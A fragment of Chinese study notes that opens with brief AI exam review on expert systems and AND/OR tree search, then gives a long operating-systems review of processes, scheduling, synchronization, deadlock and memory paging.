专家系统实例：\n医学专家系统——MYCIN 系统使用INTER LISP语言编写 推理策略：反向推理、深度优先的搜索 地质勘探专家系统——PROSPECTOR 推理方式：似然推理、逻辑推理、上下文推理 希望树 在启发式搜索与或树的过程中，有希望成为最优解树的部分结点所组成的树\n定义如下：\n初始结点S0一定在希望树中 如果结点x在希望树中，则一定有： 如果x是具有子结点的或结点，则其具有最小代价的子结点一定在希望树中 如果x是具有子结点的与结点，则其全部子结点都在希望树中 与或树的有序搜索过程本质上是寻找希望树的过程，因此随着搜索深度的增加，希望树也会随之变化\nAgent Agent的概念：\n一种能够在一定环境中自主运行和自主交互，以满足其设计目标的计算实体\n按照属性区分Agent：","title":"人工智能期末复习"},{"content":"操作系统 第一章 计算机系统概述 1.1 操作系统 1.1.1 操作系统的概念和功能 概念 操作系统（Operating System， OS）是指控制和管理整个计算机系统的硬件和软件资源，并合理地组织调度计算机的工作和资源的分配；以提供给用户和其他软件方便的接口和环境；它是计算机系统中最基本的系统软件。\n功能和目标 ①操作系统是系统资源的管理者 ②向上层提供方便易用的服务 封装思想：操作系统把一些丑陋的硬件功能封装成简单易用的服务，使用户能更方便地使用计算机，用户无需关心底层硬件的原理，只需要对操作系统发出命令即可。\nGUI：图形化用户接口（Graphical User Interface） 用户可以使用形象的图形界面进行操作，而不再需要记忆复杂的命令、参数。 例子：在Windows 操作系统中，删除一个文件只需要把文件“拖拽”到回收站即可。\n联机命令接口=交互式命令接口：用户说一句，系统跟着做一句\n脱机命令接口=批处理命令接口：用户说一堆，系统跟着做一堆\n程序接口：可以在程序中进行系统调用来使用程序接口。普通用户不能直接使用程序接口，只能通过程序代码间接使用。\n如：写C语言“Hello world”程序时，在printf 函数的底层就使用到了操作系统提供的显式相关的“系统调用”\n③是最接近硬件的一层软件 需要实现对硬件机器的拓展 没有任何软件支持的计算机称为裸机。在裸机上安装的操作系统， 可以提供资源管理功能和方便用户的服务功能，将裸机改造成功能 更强、使用更方便的机器 通常把覆盖了软件的机器成为扩充机器，又称之为虚拟机\n1.1.2 操作系统的特征 基本特征 并发、共享、虚拟、异步\n并发 两个或者多个事件在同一时间间隔内发生\n使得系统具有处理和调度多个程序同时执行的能力\n操作系统的并发是通过分时实现的\n注意：并发是指在一个时间段并行是指在同一个时刻并行是指系统具有同时执行或操作（硬件支持：多流水线或者多处理机）\n重要考点\n单核CPU同一时刻只能执行一个程序，各个程序只能并发地执行\n多核CPU同一时刻可以同时执行多个程序，多个程序可以并行地执行\n共享 互斥共享方式\n例如打印机、磁带，同一时刻只能供一个进程对资源进行访问\n这种资源称作：临界资源或者独占资源\n同时访问方式\n一段时间内允许多个进程对资源进行访问\n典型代表：磁盘设备重入码编写的文件\n虚拟 一个物理上的实体变为若干逻辑上的对应物，这种技术也被称为虚拟技术\n虚拟处理器：采用多道程序并发的方式，让每个终端用户感觉到有多个处理器 时分复用技术\n虚拟存储器：将物理存储变为虚拟存储器，逻辑上扩充存储器用 空分复用技术\n也可以将一台IO设备虚拟为多台逻辑上的IO设备，并允许每个用户占用一台逻辑上的IO设备\n异步 在多道程序环境下，允许多个程序并发执行，但由于资源有限，进程的执行不是一贯到底的，\n多道程序走走停停，进程以不可预知的速度向前进\n并发和共享的关系 并发性指计算机系统中同时存在着多个运行着的程序。 共享性是指系统中的资源可供内存中多个并发执行的进程共同使用。\n互为存在条件\n并发和虚拟的关系 如果失去了并发性，则一个时间段内系统中只需运行一道程序，那么就失去了实现虚拟性的意义了。因此，没有并发性，就谈不上虚拟性\n并发和异步的关系 只有系统拥有并发性，才有可能导致异步性。\n1.1.3 操作系统的发展与分类 手工操作阶段 单道批处理 省去人工阶段\n多道批处理 多道程序\n分时操作 分时操作系统：计算机以时间片为单位轮流为各个用户/作业服务，各个用户可通过终端与计算机进行交互。 主要优点：用户请求可以被即时响应，解决了人机交互问题。允许多个用户同时使用一台计算机，并且用户对计算机的操作相互独立，感受不到别人的存在。 主要缺点：不能优先处理一些紧急任务。操作系统对各个用户/作业都是完全公平的，循环地为每个用户/作业服务一个时间片，不区分任务的紧急性。\n实时操作 主要优点：能够优先响应一些紧急任务，某些紧急任务不需时间片排队。 在实时操作系统的控制下，计算机系统接收到外部信号后及时进行处理，并且要在严格的时限内处理完事件。实时操作系统的主要特点是及时性和可靠性\n其他几种操作系统 网络操作系统：是伴随着计算机网络的发展而诞生的，能把网络中各个计算机有机地结合起来，实现数据传送等功能，实现网络中各种资源的共享（如文件共享）和各台计算机之间的通信。（如：Windows NT 就是一种典型的网络操作系统，网站服务器就可以使用）\n分布式操作系统：主要特点是分布性和并行性。系统中的各台计算机地位相同，任何工作都可以分布在这些计算机上，由它们并行、协同完成这个任务。\n个人计算机操作系统：如Windows XP、MacOS，方便个人使用。\n1.1.4 操作系统的运行机制 运行机制 两种指令：特权指令v.s. 非特权指令 “指令”就是处理器（CPU）能识别、执行的最基本命令，指二进制机器指令\n应用程序只能使用“非特权指令””，如：加法指令、减法指令等\n操作系统内核作为“管理者”，有时会让CPU执行一些“特权指令”，如：内存清零指令。这些指令影响重大，只允许“管理者”——即操作系统内核来使用\n两种程序 我们普通程序员写的程序就是**“应用程序”** 微软、苹果有一帮人负责实现操作系统，他们写的是**“内核程序”** 由很多内核程序组成了“操作系统内核”，或简称“内核（Kernel）”\n两种处理器状态：内核态v.s. 用户态 CPU 有两种状态，“内核态”和“用户态”\n处于内核态时，说明此时正在运行的是内核程序，此时可以执行特权指令 处于用户态时，说明此时正在运行的是应用程序，此时只能执行非特权指令\n内核态、用户态的切换\n内核态\u0026ndash;用户态：执行一条特权指令——修改PSW的标志位为“用户态”，这个动作意味着操作系统将主动让出CPU使用权 用户态\u0026ndash;内核态：由“中断”引发，硬件自动完成变态过程，触发中断信号意味着操作系统将强行夺回CPU的使用权\n内核 时钟管理 中断处理 原语 原语是一种特殊的程序。是最接近硬件的部分，这种程序的运行具有原子性。\n对系统资源进行管理的功能 进程管理\n存储器管理\n设备管理\n体系结构 内核就是企业的管理层，负责一些重要的工作。只有管理层才能执行特权指令，普通员工只能 执行非特权指令。用户态、核心态之间的切换相当于普通员工和管理层之间的工作交接 大内核：企业初创时体量不大，管理层的人会负责大部分的事情。优点是效率高；缺点是组织 结构混乱，难以维护。 微内核：随着企业体量越来越大，管理层只负责最核心的一些工作。优点是组织结构清晰，方 便维护；缺点是效率低。\n大内核 微内核 1.1.5 中断和异常 中断的作用 CPU 上会运行两种程序，一种是操作系统内核程序，一种是应用程序\n“中断”是让操作系统内核夺回CPU使用权的唯一途径\n中断的类型 内中断与当前执行的指令有关，中断信号来源于CPU内部\n外中断与当前执行的指令无关，中断信号来源于CPU外部\n中断机制的基本原理 不同的中断信号，需要用不同的中断处理程序来处理。当CPU检测到中断信号后，会根据中断信号的类型去查询“中断向量表”，以此来找到相应的中断处理程序在内存中的存放位置。\n1.1.6 系统调用 “系统调用”是操作系统提供给应用程序（程序员/编程人员）使用的接口，可以理解为一种可供应用程序调用的特殊函数，应用程序可以通过系统调用来请求获得操作系统内核的服务\n应用程序通过系统调用请求操作系统的服务。而系统中的各种共享资源都由操作系统内核统一掌管，因此凡是与共享资源有关的操作（如存储分配、I/O操作、文件管理等），都必须通过系统调用的方式向操作系统内核提出服务请求，由操作系统内核代为完成。这样可以保证系统的稳定性和安全性，防止用户进行非法操作。\n1.1.7 操作系统的体系结构 第二章 进程管理 2.1 进程和线程 2.1.1 进程的概念、组成、特征 概念 进程（Process）：是动态的，是程序的一次执行过程\n同一个程序多次执行会对应多个进程\n组成 当进程被创建时，操作系统会为该进程分配一个唯一的、不重复的“身份证号”—— PID（Process ID，进程ID）\n这些信息都被保存在一个数据结构PCB（Process Control Block）中，即进程控制块操作系统需要对各个并发运行的进程进行管理，但凡管理时所需要的信息，都会被放在PCB中\n特征 动态性：动态性是进程最基本特征，进程有着创建、活动、暂停、终止等过程，具有生命周期\n并发性：多个进程实体同时存在内存中，引入进程的目的就是为了程序与其他程序并发执行\n独立性：进程实体是一个能独立运行、独立获得资源和独立接受调度的基本单位。没有建立PCB的程序，都不能作为一个独立单位参与运行\n异步性：进程相互制约，进程以不可预知的速度向前推进。所以操作系统中一定要配置响应的进程同步机制程序段\n结构性：每个进程都配置一个PCB对其进行描述（数据段、进程实体、进程控制段）\n对系统资源进行管理的功能\n2.1.2 进程的状态与转换、进程的组织 进程的状态 创建态 就绪态 运行态 阻塞态 终止态 进程的转换 进程的组织 2.1.3 进程控制 进程控制就是要实现进程状态转换\n如何实现进程控制？\n用“原语”实现\n原语的执行具有“原子性”，一气呵成\n如何实现原语的“原子性”？\n原语的执行具有原子性，即执行过程只能一气呵成，期间不允许被中断。可以用“关中断指令”和“开中断指令”这两个特权指令实现原子性\n进程的创建 用户登录，作业调度，提供服务，应用请求\n进程的终止 正常结束、异常结束、外界干预\n进程的阻塞 阻塞态是暂时停止运行，比如等待IO操作，等待其他进程配合\n进程的唤醒 等待的事件发生\n进程的切换 当前进程时间片到\n有更高优先级的进程到达\n当前进程主动阻塞\n当前进程终止\n阻塞态是暂时停止运行，比如等待IO操作\n2.1.4 进程通信 什么是进程通信？ 进程通信就是指进程之间的信息交换。 进程是分配系统资源的单位（包括内存地址空间），因此各进程拥有的内存地址空间相互独立。\n为了保证安全，一个进程不能直接访问另一个进程的地址空间。\n共享存储 基于数据结构的共享：比如共享空间里只能放一个长度为10的数组。这种共享方式速度慢、限制多，是一种低级通信方式 基于存储区的共享：在内存中画出一块共享存储区，数据的形式、存放位置都由进程控制，而不是操作系统。相比之下，这种共享方式速度更快，是一种高级通信方式。\n管道通信 数据以字符流的形式写入管道，当管道写满时，写进程的write（）系统调用将被阻塞，等待读进程将数据取走。当读进程将数据全部取走后，管道变空，此时读进程的read（）系统调用将被阻塞。\n如果没写满，就不允许读。如果没读空，就不允许写。\n数据一旦被读出，就从管道中被抛弃，这就意味着读进程最多只能有一个，否则可能会有读错数据的情况。\n消息传递 进程间的数据交换以格式化的消息（Message）为单位。进程通过操作系统提供的“发送消息/接收消息”两个原语进行数据交换。\n间接通信：消息要先发送到中间实体（信箱）中，因此也称“信箱通信方式”。\n2.1.5 线程的概念和特点 什么是线程，为什么要引入线程？ 有的进程可能需要“同时”做很多事，而传统的进程只能串行地执行一系列程序。为此，引入了“线程”，来增加并发度。\n可以把线程理解为“轻量级进程”。 线程是一个基本的CPU执行单元，也是程序执行流的最小单位。\n引入线程之后，不仅是进程之间可以并发，进程内的各线程之间也可以并发，从而进一步提升了系统的并发度，使得一个进程内也可以并发处理各种任务（如QQ视频、文字聊天、传文件）\n引入线程后，进程只作为除CPU之外的系统资源的分配单元（如打印机、内存地址空间等都是分配给进程的）。线程则作为处理机的分配单元。\n进程与线程比较 线程属性 2.1.6 线程的实现方法和多线程 while 循环就是一个最弱智的“线程库”，线程库完成了对线程的管理工作（如调度）。\n2.2 调度 2.2.1 调度的概念、层次 基本概念 合理的对进程进行处理及分配\n调度的层次 高级调度（作业调度） 按一定的原则从外存的作业后备队列中挑选一个作业调入内存，并创建进程。每个作业只调入一次，调出一次。作业调入时会建立PCB，调出时才撤销PCB。\n中级调度（内存调度） 按照某种策略决定将哪个处于挂起状态的进程重新调入内存。 一个进程可能会被多次调出、调入内存，因此中级调度发生的频率要比高级调度更高。\n低级调度（进程调度/处理机调度） 按照某种策略从就绪队列中选取一个进程，将处理机分配给它。\n进程调度是操作系统中最基本的一种调度，在一般的操作系统中都必须配置进程调度。 进程调度的频率很高，一般几十毫秒一次。\n补充知识：七种状态 2.2.2 进程调度的时机切换与过程调度方式 切换时机 不能切换的情况 在处理中断的过程中。中断处理过程复杂，与硬件密切相关，很难做到在中断处理过程中进行进程切换。 进程在操作系统内核程序临界区中。 在原子操作过程中（原语）。原子操作不可中断，要一气呵成（如之前讲过的修改PCB中进程状态标志，并把PCB放到相应队列） 可以切换的情况 当前运行的进程主动放弃处理机\n进程正常终止 运行过程中发生异常而终止 进程主动请求阻塞（如等待I/O） 当前运行的进程被动放弃处理机\n分给进程的时间片用完 有更紧急的事需要处理（如I/O中断） 有更高优先级的进程进入就绪队列 调度方式 非剥夺调度方式，又称非抢占方式。即，只允许进程主动放弃处理机。在运行过程中即便有更紧迫的任务到达，当前进程依然会继续使用处理机，直到该进程终止或主动要求进入阻塞态。\n剥夺调度方式，又称抢占方式。当一个进程正在处理机上执行时，如果有一个更重要或更紧迫的进程需要使用处理机，则立即暂停正在执行的进程，将处理机分配给更重要紧迫的那个进程。\n进程的切换与过程 进程切换是指一个进程让出处理机，由另一个进程占用处理机的过程。\n狭义的进程调度指的是从就绪队列中选中一个要运行的进程。\n广义的进程调度包含了选择一个进程和进程切换两个步骤。\n进程切换的过程主要完成了：\n对原来运行进程各种数据的保存 对新的进程各种数据的恢复 2.2.3 调度算法的评价指标 2.2.4 调度算法1 先来先服务（FCFS） 最短作业优先（SJF） 最高响应比优先（HRRN） 2.2.5 调度算法2 时间片轮转（RR） 优先级调度 多级反馈队列 对各类型进程相对公平（FCFS的优点）；\n每个新到达的进程都可以很快就得到响应（RR的优点）；\n短进程只用较少的时间就可完成（SPF的优点）；\n不必实现估计进程的运行时间（避免用户作假）；\n可灵活地调整对各类进程的偏好程度，比如CPU密集型进程、I/O密集型进程（拓展：可以将因I/O而阻塞的进程重新放回原队列，这样I/O型进程就可以保持较高优先级）\n一般不说它有缺点，不过可能导致饥饿\n2.3 互斥同步 2.3.1 进程同步、进程互斥 进程同步 同步亦称直接制约关系，它是指为完成某种任务而建立的两个或多个进程，这些进程因为需要在某些位置上协调它们的工作次序而产生的制约关系。\n进程间的直接制约关系就是源于它们之间的相互合作。\n解决异步问题\n进程互斥 间接制约关系。进程互斥指当一个进程访问某临界资源时，另一个想要访问该临界资源的进程必须等待\n临界区资源的互斥访问 临界区：访问临界资源的那段代码\n进入区：负责检查是否可进入临界区\n退出区：负责解除正在访问临界资源的标志\n剩余区：做其他处理\n临界区是进程中访问临界资源的代码段。\n进入区和退出区是负责实现互斥的代码段。\n临界区也可称为“临界段”。\n原则\n空闲让进。临界区空闲时，可以允许一个请求进入临界区的进程立即进入临界区； 忙则等待。当已有进程进入临界区时，其他试图进入临界区的进程必须等待； 有限等待。对请求访问的进程，应保证能在有限时间内进入临界区（保证不会饥饿）； 让权等待。当进程不能进入临界区时，应立即释放处理机，防止进程忙等待。 2.3.2 进程互斥的软件实现方法 单标志法 算法思想：两个进程在访问完临界区后会把使用临界区的权限转交给另一个进程。也就是说每个进程进入临界区的权限只能被另一个进程赋予。交替进入临界区。\n主要问题：违背“空闲让进”原则，必须“轮流访问”\n双标志先检查法 每个进程访问临界资源前，先检查临界资源是否被访问，如果空闲才能进\n优点：不用交替进入可以连续使用\n主要问题：违反“忙则等待”原则。\n原因在于，进入区的**“检查”和“上锁”两个处理不是一气呵成的。“检查”后，“上锁”前可能发生进程切换**。\n双标志后检查法 先设置标志，表示自己想进入，检查对方标志，如果对方也要进入，那么就等待否则就进入\n优点：不会两个进程都进入临界区\n缺点：双方会互相谦让，导致饥饿\nPeterson 算法 算法思想：结合双标志法、单标志法的思想。如果双方都争着想进入临界区，那可以让进程尝试“孔融让梨”（谦让）。做一个有礼貌的进程。\n增加标志位\n优点：不会饥饿\n缺点：复杂\n2.3.3 进程互斥的硬件实现方法 中断屏蔽法 利用“开/关中断指令”实现（与原语的实现思想相同，即在某进程开始访问临界区到结束访问为止都不允许被中断，也就不能发生进程切换，因此也不可能发生两个同时访问临界区的情况）\n优点：简单、高效 缺点：不适用于多处理机；只适用于操作系统内核进程，不适用于用户进程（因为开/关中断指令 只能运行在内核态，这组指令如果能让用户随意使用会很危险）\nTestAndSet指令（TSL） TSL 指令是用硬件实现的，执行的过程不允许被中断，只能一气呵成\n相比软件实现方法，TSL 指令把“上锁”和“检查”操作用硬件的方式变成了一气呵成的原子操作。\n优点：实现简单，无需像软件实现方法那样严格检查是否会有逻辑漏洞；适用于多处理机环境\n缺点：不满足“让权等待”原则，暂时无法进入临界区的进程会占用CPU并循环执行TSL指令，从 而导致“忙等”。\nSwap指令（XCHG） 逻辑上来看 Swap 和 TSL 并无太大区别，都是先记录下此时临界区是否已经被上锁（记录在 old 变 量上），再将上锁标记 lock 设置为 true，最后检查 old，如果 old 为 false 则说明之前没有别的进程 对临界区上锁，则可跳出循环，进入临界区。\n优点：实现简单，无需像软件实现方法那样严格检查是否会有逻辑漏洞；适用于多处理机环境\n缺点：不满足“让权等待”原则，暂时无法进入临界区的进程会占用CPU并循环执行TSL指令，从 而导致“忙等”。\n2.3.4 信号量机制 实现进程互斥、同步的方法\n信号量其实就是一个变量，可以用一个信号量来表示系统中某种资源的数量\nwait、signal 原语常简称为P、V操作（来自荷兰语proberen 和verhogen）。因此，做题的时候常把wait（S）、signal（S） 两个操作分别写为P（S）、V（S）\nP上锁\nV解锁\n2.3.5 用信号量机制实现进程互斥、同步、前驱关系 实现进程互斥 上锁——解锁\n实现进程同步、前驱关系 解锁——上锁\n实现前驱关系 画图非常有用\n2.3.6 生产者消费者问题 思考：能否改变相邻P、V操作的顺序？ 会导致：我要放东西通过了，但满了放不进去，去到消费者，但通道被生产者占住了，形成死锁 同步：查看缓存区容量和非空区 互斥：消费者和生产者不能同时使用缓存区\n2.3.7 多生产者-多消费者 画图非常有用\n2.3.8 吸烟者问题 2.3.9 读者-写者问题 写和读，写和写不能同时访问\n但读和读可以同时访问\n“读优先” 第一个读者先加两把锁，都关上，再打开互斥锁，让其他读者进行访问\n”写优先“相对公平 第一个读者先加三把锁，都关上，再打开互斥锁和写优先锁，且先打开写优先锁，使只要读者读完就给写\n2.3.10 哲学家进餐问题 没什么意思\n2.3.11 管程 为什么要引入管程 信号量机制存在的问题：编写程序困难、易出错\n管程的定义 局部于管程的共享数据结构说明； 对该数据结构进行操作的一组过程； 对局部于管程的共享数据设置初始值的语句； 管程有一个名字。 基本特征 局部于管程的数据只能被局部于管程的过程所访问； 一个进程只有通过调用管程内的过程才能进入管程访问共享数据 每次仅允许一个进程在管程内执行某个内部过程。 2.4 死锁 2.4.1 死锁的概念 在并发环境下，各进程因竞争资源而造成的一种互相等待对方手里的资源，导致各进程都阻塞，都无法向前推进的现象，就是“死锁”。发生死锁后若无外力干涉，这些进程都将无法向前推进。\n必要条件 互斥条件：只有对必须互斥使用的资源的争抢才会导致死锁（如哲学家的筷子、打印机设备）。像内存、扬声器这样可以同时让多个进程使用的资源是不会导致死锁的（因为进程不用阻塞等待这种资源）。 不剥夺条件：进程所获得的资源在未使用完之前，不能由其他进程强行夺走，只能主动释放。 请求和保持条件：进程已经保持了至少一个资源，但又提出了新的资源请求，而该资源又被其他进程占有，此时请求进程被阻塞，但又对自己已有的资源保持不放。 循环等待条件：存在一种进程资源的循环等待链，链中的每一个进程已获得的资源同时被下一个进程所请求。\n2.4.2 预防死锁 破坏互斥条件 互斥条件：只有对必须互斥使用的资源的争抢才会导致死锁。\n把只能互斥使用的资源改造为允许共享使用，则系统不会进入死锁状态。\n缺点：并不是所有的资源都可以改造成可共享使用的资源。\n破坏不剥夺条件 不剥夺条件：进程所获得的资源在未使用完之前，不能由其他进程强行夺走，只能主动释放。\n破坏不剥夺条件： 方案一：当某个进程请求新的资源得不到满足时，它必须立即释放保持的所有资源，待以后需要时再重新申请。也就是说，即使某些资源尚未使用完，也需要主动释放，从而破坏了不可剥夺条件。\n方案二：当某个进程需要的资源被其他进程所占有的时候，可以由操作系统协助，将想要的资源强行剥夺。这种方式一般需要考虑各进程的优先级（比如：剥夺调度方式，就是将处理机资源强行剥夺给优先级更高的进程使用）\n缺点：\n实现起来比较复杂。 释放已获得的资源可能造成前一阶段工作的失效。因此这种方法一般只适用于易保存和恢复状态的资源，如CPU。 反复地申请和释放资源会增加系统开销，降低系统吞吐量。 若采用方案一，意味着只要暂时得不到某个资源，之前获得的那些资源就都需要放弃，以后再重新申请。如果一直发生这样的情况，就会导致进程饥饿。 破坏请求和保持条件 请求和保持条件：进程已经保持了至少一个资源，但又提出了新的资源请求，而该资源又被其他进程占有，此时请求进程被阻塞，但又对自己已有的资源保持不放。\n可以采用静态分配方法，即进程在运行前一次申请完它所需要的全部资源，在它的资源未满足前，不让它投入运行。一旦投入运行后，这些资源就一直归它所有，该进程就不会再请求别的任何资源了。\n缺点： 有些资源可能只需要用很短的时间，因此如果进程的整个运行期间都一直保持着所有资源，就会造成严重的资源浪费，资源利用率极低。\n另外，该策略也有可能导致某些进程饥饿。\n破坏循环等待条件 循环等待条件：存在一种进程资源的循环等待链，链中的每一个进程已获得的资源同时被下一个进程所请求。\n可采用顺序资源分配法。首先给系统中的资源编号，规定每个进程必须按编号递增的顺序请求资源，同类资源（即编号相同的资源）一次申请完。\n原理分析：一个进程只有已占有小编号的资源时，才有资格申请更大编号的资源。按此规则，已持有大编号资源的进程不可能逆向地回来申请小编号的资源，从而就不会产生循环等待的现象。\n该策略的缺点：\n不方便增加新的设备，因为可能需要重新分配所有的编号； 进程实际使用资源的顺序可能和编号递增顺序不一致，会导致资源浪费； 必须按规定次序申请资源，用户编程麻烦。 2.4.3 避免死锁 什么是安全序列\n安全性算法步骤：\n检查当前的剩余可用资源是否能满足某个进程的最大需求，如果可以，就把该进程加入安全序列， 并把该进程持有的资源全部回收。 不断重复上述过程，看最是\n否能让所有进程都加入安全序列。\n系统处于不安全状态未必死锁，但死锁时一定处于不安全状态。系统处于安全状态一定不会死锁。\n2.4.4 检测和解除 死锁定理：如果某时刻系统的资源分配图是不可完全简化的，那么此时系统死锁\n死锁的解除 一旦检测出死锁的发生，就应该立即解除死锁。 补充：并不是系统中所有的进程都是死锁状态，用死锁检测算法化简资源分配图后，还连着边的那些进程就是死锁进程解除死锁的主要方法有：\n资源剥夺法。挂起（暂时放到外存上）某些死锁进程，并抢占它的资源，将这些资源分配给其他的死锁进程。但是应防止被挂起的进程长时间得不到资源而饥饿。 撤销进程法（或称终止进程法）。强制撤销部分、甚至全部死锁进程，并剥夺这些进程的资源。这种方式的优点是实现简单，但所付出的代价可能会很大。因为有些进程可能已经运行了很长时间，已经接近结束了，一旦被终止可谓功亏一篑，以后还得从头再来。 进程回退法。让一个或多个死锁进程回退到足以避免死锁的地步。这就要求系统要记录进程的历史信息，设置还原点。 第三章 内存管理 3.1 内存管理概念 3.1.1 内存的基础知识 什么是内存？有何作用？ 程序执行前需要先放到内存中才能被CPU处理——缓和CPU与硬盘之间的速度矛盾\n进程运行的基本原理 创建步骤 编译：编译程序将用户源代码编译成若干目标模块\n链接：由链接程序将编译后的形成的一组目标模块及所需要的库函数链接在一起，形成一个完整的装入模块\n装入：由装入程序将装入模块装入内存运行\n链接类型 静态链接：程序运行之前，将库函数连接成一个完整的可执行程序\n装入时动态链接：将用户源程序编译后得到目标模块，装入内存时，采用边装入边链接的方式\n运行时动态链接：对于某些目标模块的链接，程序需要时才会对其链接，便于修改和更新，便于实现对目标模块的共享\n逻辑地址空间与物理地址空间 逻辑地址空间：即相对地址，链接程序依次按照各个模块的相对地址构成统一的从0号单元开始编址的逻辑地址空间\n物理地址空间：内存中物理单元的集合，是地址转换的最终地址，进程在运行时执行指令和访问数据，最后都要通过物理地址从主存中存取。\n地址重定位：逻辑地址转换成物理地址的过程\n3.1.2 内存管理的概念 内存空间的分配与回收 操作系统负责内存空间的分配与回收\n内存空间的扩展 操作系统需要提供某种技术从逻辑上对内存空间进行扩充\n地址转换 操作系统需要提供地址转换功能，负责程序的逻辑地址与物理地址的转换\n绝对装入（单道程序阶段，无操作系统） 装入时按照实际的内存地址，将程序和数据装入内存\n优点：不需要对程序和数据的地址进行修改\n缺点：只适用于单道程序环境\n可重定位装入（静态重定位）（早期多道批处理阶段） 此时采用的是模块与模块的相对地址，然后将程序和数据装入内存\n装入时对目标程序中指令和数据的修改过程称为重定位，地址变换通常是在装入时一次完成的，又被称为静态重定位\n特点：作业装入必须要一次性全部装入，并且运行中作业不能在内存中移动，也不能申请内存空间\n动态运行时装入（动态重定位）（现代操作系统） 装入程序把装入模块装入内存后，并不立即把装入模块中的相对地址转换为绝对地址，当程序真正执行时才进行转换\n特点：需要重定位寄存器可以将程序分配到不连续的存储区中便于程序段的共享可以向用户提供更大的地址空间（地址空间大于存储空间）\n内存保护 操作系统需要提供内存保护功能。保证各进程在各自存储空间内运行，互不干扰\nCPU中设置上、下限寄存器，存放用户作业在主存中的下限和上限地址，每当CPU要访问一个地址时，分别和两个寄存器的数据比较，判断是否越界\n重定位寄存器（基址寄存器）和界地址寄存器（限长寄存器）：重定位寄存器中包含最小物理地址值，界地址寄存器包含逻辑地址的最大值\n地址转换过程：逻辑地址-\u0026gt;界地址寄存器-\u0026gt;重定位寄存器-\u0026gt;物理地址\n3.1.3 覆盖与交换 覆盖技术 思想：将程序分为多个段（多个模块）。常用的段常驻内存，不常用的段在需要时调入内存\n将用户空间分为一个固定区和若干覆盖区，活跃部分放在固定区，即将访问的段放在覆盖区\n特点：打破了必须将一个进程的全部信息装入主存后才能运行的限制，内存中能够更新的地方只有覆盖区的段，不在覆盖区的段会常驻内存\n缺点：操作系统自动覆盖，对用户不透明，增加用户编程负担\n交换技术 思想：内存空间紧张时，系统将内存中某些进程暂时换出外存，把外存中某些已具备运行条件的进程换入内存（进程在内存与磁盘间动态调度）\n换出：将处于等待状态的程序从内存中转移到辅存\n换入：把准备好竞争CPU运行的程序从辅存转移到内存\n结构：把磁盘空间分为文件区和对换区两部分\n文件区主要用于存放文件，主要追求存储空间的利用率，因此对文件区空间的管理采用离散分配方式\n对换区空间只占磁盘空间的小部分，被换出的进程数据就存放在对换区，主要追求换入换出速度，因此通常对换区采用连续分配方式\n交换存在的问题 备份存储，使用快速硬盘，要求存储空间足够大，并且能够对内存映像进行直接访问\n转移时间和所交换的内存空间成正比\n只有进程空闲状态才能将进程换出\n交换空间通常作为磁盘的一整块，且独立于文件系统，因此使用起来会很快\n交换通常在有许多进程运行且内存吃紧时开始启动，系统负荷降低就暂停\n普通的交换使用不多，但交换策略的某些变体在许多系统中仍发挥作用\n覆盖与交换区别 覆盖是在同一个程序或进程中的\n交换是在**不同进程（或作业）**之间的\n3.1.4 连续分配管理方式 单一连续分配 内存分为系统区和用户区，系统区仅供操作系统使用，通常在低地址部分，用户区为用户提供\n优点\n无须进行内存保护，不会出现越界异常\n实现简单，无外部碎片，采用覆盖技术，不需要额外技术支持\n缺点\n只适用于单用户，单任务的操作系统\n存在内部碎片，存储器利用率低\n固定分区分配 种类\n分区大小相等：用一台计算机去控制多个相同对象的场合，缺乏灵活性\n分区大小不等：划分为多个较小的分区，适量的中等分区和少量大分区\n优点\n适用于多道程序的存储，无外部碎片\n缺点\n程序太大，无法放入任何一个分区\n主存利用率低，存在内部碎片\n不能实现多进程共享一个主存区\n动态分区分配 在进程装入内存的时候，根据内存的大小动态的建立分区\n优点：分区大小可以根据进程的实际情况进行分配\n缺点：存在外部碎片，最后导致主存利用率下降――采用紧凑技术可以缓解这种缺陷\n3.1.5 动态分区分配算法 首次适应算法 空闲分区按照地址递增的顺序进行查找，找到第一个满足要求的分区进行分配\n优点：综合看性能最好。算法开销小，回收分区后一般不需要对空闲分区队列重新排序\n最佳适应算法 按照容量递增的顺序进行查找分区，将第一个满足条件的进行分配\n优点：可以尽可能多地留下大片的空闲区\n缺点：性能较差，产生最多的外部碎片，回收分区后可能需要对空闲分区队列重新排序\n每次都选最小的分区进行分配，会留下越来越多的、很小的、难以利用的内存块。因此这种方法会产生很多的外部碎片。\n最坏适应算法（最大适应算法） 空闲分区按照容量递减的次序进行查找，第一个满足条件的进行分配\n优点：可以减少难以利用的小碎片\n缺点：导致很快没有较大的内存块，性能很差―不利于大进程，算法开销大\n邻近适应算法（首次适应算法） 分配内存时从上次查找结束的位置开始继续查找\n优点：算法开销小\n缺点：会使高地址的大分区也被用完\n导致无论低地址、高地址部分的空闲分区都有相同的概率被使用，也就导致了高地址部分的大分区更可能被使用，划分为小分区，最后导致无大分区可用\n3.1.6 基本分页存储管理的基本概念 允许一个程序分散的装入不相邻的内存分区\n设计思想 将主存空间划分为大小相等且固定的块，块相对较小，作为主存的基本单位，进程以块为单位进行空间申请\n分页存储与固定分区技术很像，但是其分页相对于分区又很小，分页管理不会产生外部碎片，产生的内部碎片也非常的小\n基本概念 页面和页面大小 进程中的块=页\n内存中的块=页框（页帧）\n进程申请主存空间，为每个页面分配主存中可用页框，即页与页框一一对应\n地址结构 页号（有多少页的编号）+页内偏移（页内存了多少东西）\n页号= 逻辑地址/ 页面长度（取除法的整数部分）\n页内偏移量= 逻辑地址% 页面长度（取除法的余数部分）\n页号= 110 / 50 = 2\n页内偏移量= 110 % 50 = 10\n逻辑地址可以拆分为（页号，页内偏移量）\n通过页号查询页表，可知页面在内存中的起始地址\n页面在内存中的起始地址+页内偏移量= 实际的物理地址\n页表 记录了页面和实际存放的内存块之间的映射关系\n为了便于在内存中找到进程的每个页面对应的物理块，系统为每个进程建立一张页表，记录页面在内存中对应的物理块号，页表一般放在内存中\n页表项：页号+物理内存中的块号（不要与地址结构搞混）页表项的物理内存块号+地址结构中的页内偏移=物理地址\n页面大小要适中 页面太小：进程页面数过多，页表过程，增加内存占用，降低硬件地址转换效率\n页面太大：页内碎片过多，降低内存利用率\n3.1.7 基本地址变换机构 页表项大小的设计应当尽量一页正好能装下所有的页表项\n第一步：分好块，在第几块第几个（页号P和页内偏移量W）\n第二部：去问一下我的新家在哪，获得新家块（去页表寄存器看页表起始地址和判断，查页表找到内存块号）\n第三步：新家号，在加上偏移量，就算出物理地址（内存块号加页内偏移W得到物理地址）\n分页管理存在的问题 地址变换过程必须足够快，否则访存速率会降低\n页表不能太大，否则会降低内存利用率\n组成 